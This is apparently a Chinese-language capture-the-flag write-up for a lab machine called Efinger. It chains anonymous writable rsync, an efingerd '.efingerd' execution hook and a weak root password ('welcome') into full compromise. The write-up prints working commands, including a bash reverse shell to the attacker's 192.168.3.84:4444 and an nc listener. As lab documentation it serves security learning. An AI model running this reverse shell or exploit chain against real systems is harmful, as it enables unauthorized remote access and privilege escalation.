Efinger WriteUp

- 靶机：192.168.3.179 / hostname Efinger
- 攻击机：192.168.3.84（Kali）
- 系统：Debian GNU/Linux 13 (trixie)，内核 7.2.7-1-liquorix-amd64
- 服务：22/tcp SSH（OpenSSH_10.0p2）、79/tcp finger（efingerd 1.6.7，xinetd 托管）、873/tcp rsync daemon（3.4.1）
- 难度：中
- 目标：user.txt / root.txt

攻击思路

端口扫描只有三个服务开放：SSH、finger、rsync。finger 协议在现代 Linux 上几乎绝迹，出现本身就是信号，靶机名 Efinger 也直接指向它；873 的 rsync daemon 模式常见于备份共享场景。

rsync daemon 允许不带凭据列出模块名。枚举得到一个模块 `data`，注释为 `erina's data`，匿名可读可写。列出内容后发现模块根直接暴露了 ftpuser 的家目录（`.bashrc` / `.profile` / `.ssh/` / `user.txt`），说明模块的 path 指向的就是某个用户 home。`user.txt` 直接下载即得第一个 flag。

`.ssh/authorized_keys` 是一行格式正常的 RSA 公钥，但 comment 字段是 `ftpuser@Efinger`。真实公钥的 comment 通常就是 `user@host` 形式，放在这里它同时给出了被 finger 的用户名。

尝试用 rsync 覆盖 `authorized_keys` 换取 SSH 登录，rsync 报 code 23（部分文件未能传输），文件内容保持原样。同一目录下上传自定义文件名的新文件却成功，说明保护作用于文件本身而非目录权限。Linux 上能满足"root 也必须先解除才能改动"的文件级保护是 `chattr +i`（immutable 属性），它能阻止一切写入、删除与重命名。

无法写公钥，转而寻找其他会被服务执行的文件。efingerd 的机制是：收到 finger 查询后，若被查询用户 home 下存在 `.efingerd`，就以 `execl()` 执行该文件并把输出返回给查询者；该行为默认开启（debconf 中 `allow_files` 默认为 true），执行身份是 efingerd 专用的系统账户。

关键在于位置对应：ftpuser 的 home 与 rsync 模块 `data` 的 path 是同一个目录 `/srv/ftp`。攻击者可写的位置恰好就是 efingerd 会执行的位置。

上传一个输出 `id` 的 `.efingerd` 后，用 `finger ftpuser` 触发，返回的身份是 efingerd 账户，既不是 ftpuser 也不是攻击者，身份跨越成立。

efingerd 是低权系统账户，读不到 `/etc/shadow`。但 root 使用弱口令 `welcome`，且 `su` 未做额外限制：在 efingerd 身份下 `su root` 成功，读取 `/root/root.txt` 得到第二个 flag。

另注意 22 端口配置了 `PermitRootLogin prohibit-password`，root 不能用密码登录，因此无法直接对 SSH 爆破 root 口令绕过上述链路。

命令与 payload

以下命令除注明外均在攻击机 192.168.3.84 执行。

侦察与枚举

```
nmap -sV -p 22,79,873 192.168.3.179
```

三个端口开放：22 ssh、79 finger、873 rsync。

```
rsync rsync://192.168.3.179/
```

```
data               erina's data
```

```
rsync rsync://192.168.3.179/data/
```

```
drwxr-xr-x          4,096 2026/09/27 19:51:31 .
-rw-r--r--            220 2026/03/08 23:21:53 .bash_logout
-rw-r--r--          3,526 2026/03/08 23:21:53 .bashrc
-rw-r--r--            807 2026/03/08 23:21:53 .profile
-rw-r--r--             44 2026/09/27 19:42:31 user.txt
drwxr-xr-x          4,096 2026/09/27 19:51:31 .ssh
```

第一个 flag

```
rsync rsync://192.168.3.179/data/user.txt .
cat user.txt
```

```
flag{user-7324ec45363c04dd125cad4a2d4dd622}
```

公钥中的用户名线索

```
```

```
rsync rsync://192.168.3.179/data/.ssh/authorized_keys .
cat authorized_keys
```

```
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSBmvX...DIN2Qh5 ftpuser@Efinger
```

确认文件级保护

```
echo "ssh-rsa AAAAtestkey attacker" > /tmp/evil_key
rsync -av /tmp/evil_key rsync://192.168.3.179/data/.ssh/authorized_keys
```

```
rsync error: some files/attrs were not transferred (see previous
errors) (code 23) at main.c(1347) [sender=3.4.1]
```

文件内容未变；但向同目录上传新文件名可以成功，说明目录可写、保护在文件属性层面。

上传会被执行的 .efingerd

```
cat > /tmp/.efingerd <<'EOF'
#!/bin/sh
id
EOF
rsync -av /tmp/.efingerd rsync://192.168.3.179/data/.efingerd
```

上传后的权限由服务端 `incoming chmod` 设定，本地无需 chmod。

```
finger ftpuser@192.168.3.179
```

```
uid=101(efingerd) gid=65534(nogroup) groups=65534(nogroup)
```

换成交互式会话

将 `.efingerd` 内容替换为反弹命令后重新上传：

```
cat > /tmp/.efingerd <<'EOF'
#!/bin/sh
/bin/bash -i >& /dev/tcp/192.168.3.84/4444 0>&1
EOF
rsync -av /tmp/.efingerd rsync://192.168.3.179/data/.efingerd
```

攻击机另开监听：

```
nc -lvnp 4444
```

再次执行 `finger ftpuser@192.168.3.179` 即得到 efingerd 身份的交互 shell。

提权与第二个 flag

在反弹回的会话中：

```
su root
```

```
Password: welcome
id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

复盘要点

1. 需要上传可执行文件的场景应选 rsync daemon 而非 FTP：rsync 的 `incoming chmod` 能直接指定上传文件的权限（含执行位），而 FTP 的 `anon_umask` 只能削减权限位，永远产出不了可执行文件。
2. 当服务把某个用户的 home 作为共享目录，且该服务同时存在"执行 home 内文件"的机制时，"可写"直接等于"可执行"；判断是否存在此类机制，要先看该服务是否提供用户自定义输出或配置的能力。
3. `chattr +i` 是文件级属性，即使目录对攻击者可写，被标记的文件也无法写入、删除或重命名；判定依据是"同目录新文件可写、目标文件不可写"。
4. efingerd 的执行目标由被查询的用户名决定（`<该用户 home>/.efingerd`），因此拿到用户名是链路上的必要一环；本例中的用户名来自公钥 comment 字段。
5. efingerd 账户的 shell 是 `/usr/sbin/nologin`，无法直接登录，但 `.efingerd` 由 `execl()` 执行，不经过登录 shell，该限制不构成阻碍。
6. `PermitRootLogin prohibit-password` 会切断"直接爆破 SSH root 口令"这条捷径，攻击者必须先通过服务链路取得本地身份，再转向 `su`。

7. 弱口令 root 加宽松的 `su` 配置是整条链的终点；若 root 口令足够强，本链只能止步于 efingerd 身份。